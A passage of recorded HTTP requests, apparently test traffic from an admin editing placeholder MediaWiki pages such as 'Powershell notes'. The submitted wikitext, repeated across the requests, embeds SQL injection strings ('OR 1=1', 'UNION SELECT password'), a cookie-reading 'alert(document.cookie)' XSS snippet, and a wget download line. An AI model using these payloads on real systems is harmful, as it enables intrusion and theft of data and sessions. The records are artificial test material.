name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk--\r\n"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydozHAh3HgQYOsBJB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB--\r\n"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision8=created; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&text=%3D%3D+Install+%3D%3D%0ARun+powershell+and+ls+-la.%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+powershell&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&stashedtexthash=fb470cff5af43ff707bead07ac360a6cef4a06d9&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51DczGwGUeO3iv04", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun powershell and ls -la.\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ powershell\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04--\r\n"}
{"method": "GET", "target": "/index.php?title=Powershell_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=powershell&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+powershell.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpowershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=po&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1670", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 317", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
